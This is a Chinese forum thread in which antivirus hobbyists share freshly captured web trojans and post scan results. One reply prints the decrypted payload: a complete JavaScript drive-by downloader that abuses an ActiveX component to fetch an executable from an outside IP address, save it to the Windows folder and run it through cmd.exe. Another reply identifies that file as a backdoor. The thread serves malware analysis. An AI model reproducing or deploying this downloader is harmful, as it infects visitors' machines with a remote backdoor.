md5: 92EBEC早上刚抓的几个网页木马

qieyige

今天早上上网时刚抓的，喜欢大家喜欢！

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\网页病毒'
C:\Documents and Settings\Administrator\My Documents\网页病毒\
  descript.ion
  GetCode[1].bmp
  vip2[1] (1).htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agen.1908
      [INFO]      The file was deleted!
  vip2[1] (2).htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agen.1908
      [INFO]      The file was deleted!
  vip2[1] (3).htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agen.1908
      [INFO]      The file was deleted!
  vip2[1] (4).htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agen.1908
      [INFO]      The file was deleted!
  vip2[1].htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agen.1908
      [INFO]      The file was deleted!
  vip2[2].htm
      [DETECTION] Contains signature of the HTML script virus HTML/Dldr.Agen.1908
      [INFO]      The file was deleted!

红心王子

C:\Documents and Settings\Administrator\桌面\样本
.rar>>网页病毒.rar>>网页病毒\vip2[1] (1).htm    Trojan.DL.JS.Agent.lgc
C:\Documents and Settings\Administrator\桌面\样本
.rar>>网页病毒.rar>>网页病毒\vip2[1] (2).htm    Trojan.DL.JS.Agent.lgc
狮子报6个确实这个

lovewei

其中加密段的解密为：
<script language=javascript>
function gn(n)
{
var number = Math.random()*n; return '~tmp'+Math.round(number)+'.exe';
}
try
{ aaa="ob";
bbb="je";
yyy="ct";
ccc="Adodb.";
ddd="Stream";
eee="Microsoft.";
fff="XMLHTTP";
ggg="o";
kkk="p";
mmm="e";
sss="n";
lj='http://61.152.169.234/flash.exe';
var df=document.createElement(aaa+bbb+yyy);
df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var x=df.CreateObject(eee+fff,"");
var S=df.CreateObject(ccc+ddd,"");
S.type=1;
x.open("GET", lj,0);
x.send();
mz1=gn(10000);
var F=df.CreateObject("Scripting.FileSystemObject","");
var tmp=F.GetSpecialFolder(0); mz1= F.BuildPath(tmp,mz1);
S.Open();
ttt=x.responseBody;
S.Write(ttt);
S.SaveToFile(mz1,2); S.Close();
var Q=df.CreateObject("Shell.Application","");
exp1=F.BuildPath(tmp+'\\system32','cmd.exe');
Q.ShellExecute(exp1,' /c '+mz1,"",ggg+kkk+mmm+sss,0);
} catch(i) { i=1; }
</script>

wangjay1980

detected: Trojan program Backdoor.Win32.Agent.ahj        URL: http://61.152.169.234/flash.exe

风雪

费尔6个。

jimmyleo

这个flash我还以为是那个老的……在我已下载列表里……

原来更新过了……

submit……

woai_jolin

ess pass
上报

欠妳緈諨